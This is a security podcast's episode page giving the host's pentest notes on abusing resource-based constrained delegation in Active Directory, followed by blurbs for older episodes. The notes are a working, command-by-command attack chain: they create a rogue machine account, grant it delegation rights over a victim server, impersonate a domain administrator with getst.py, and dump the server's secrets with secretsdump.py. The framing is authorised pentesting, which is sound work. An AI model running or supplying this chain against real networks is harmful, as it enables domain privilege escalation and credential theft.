7MS #521: Tales of Pentest Pwnage - Part 36

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

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7MS #26: The Importance of Training and Awareness (audio)

7MS #26: The Importance of Training and Awareness (audio)

Training and awareness – specifically as it relates to infosec – is something companies can’t spend enough $ on. But from my experience, not enough of them are making this a front-burner priority. This episode talks about one topic I’m particularly passionate about. I call it “How not to click on bad stuff.” Download: 7MS #26:…

13 Sep 20147min

7MS #25: Writing Better Pentest Reports (audio)

7MS #25: Writing Better Pentest Reports (audio)

This episode talks about some pointers, tools and tips towards writing better pentest reports. Download: 7MS #25: Writing Better Pentest Reports (audio)

23 Aug 20148min

7MS #24: Why Wireless Scares Me (audio)

7MS #24: Why Wireless Scares Me (audio)

This episode is all about why you should (probably not) use wireless hotspots, and keeping yourself safe in general when surfing the Web. Download: 7MS #24: Why Wireless Scares Me (audio)

16 Aug 20147min

7MS #23: OSCP – part 2 (audio)

7MS #23: OSCP – part 2 (audio)

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9 Aug 20147min

7MS #22: Phishing with Black Squirrel (audio)

7MS #22: Phishing with Black Squirrel (audio)

In this episode I talk about using Black Squirrel to launch phishing campaigns! Download: 7MS #22: Phishing with Black Squirrel (audio) Show notes: Security Weekly is an excellent podcast/resource. Devour it regularly. Black Squirrel is the main tool discussed in this podcast. I’ve been using it for phishing campaigns and it’s been excellent in that capacity.

27 Juli 20147min

7MS #21: OSCP – part 1 (audio)

7MS #21: OSCP – part 1 (audio)

In this episode I talk about my venture into Offensive Security! . Download: 7MS #21: OSCP – part 1 (audio) Show notes: It’s official – I have a death wish and have started the OSCP training. This episode is the first of what I hope will be a multi-part, spoiler-free series about my experience with OSCP. With…

20 Juli 20147min

7MS #20: Moving from GoDaddy to DNSimple (audio)

7MS #20: Moving from GoDaddy to DNSimple (audio)

In this episode I talk about why I’m pulling my domains from GoDaddy, and making DNSimple their new home. Download: 7MS #20: Moving from GoDaddy to DNSimple (audio) Show notes: The service I’m talking about in this podcast is DNSimple. Troy Hunt‘s humorous/awesome article pushed me over the edge and convinced me to give DNSimple a…

15 Juli 20147min

7MS #19: Kioptrix! (audio)

7MS #19: Kioptrix! (audio)

In this episode I talk about a deliciously vulnerable series of VMs called Kioptrix, and how you can use them to sharpen your pentesting skills. Download: 7MS #19: Kioptrix! (audio) Show notes: The Kioptrix series of VMs is here: http://www.kioptrix.com/blog/test-page/ and here: http://vulnhub.com/?q=kioptrix&sort=date-des&type=vm. Got approved for my OSCP training and I start it in a few…

5 Juli 20147min

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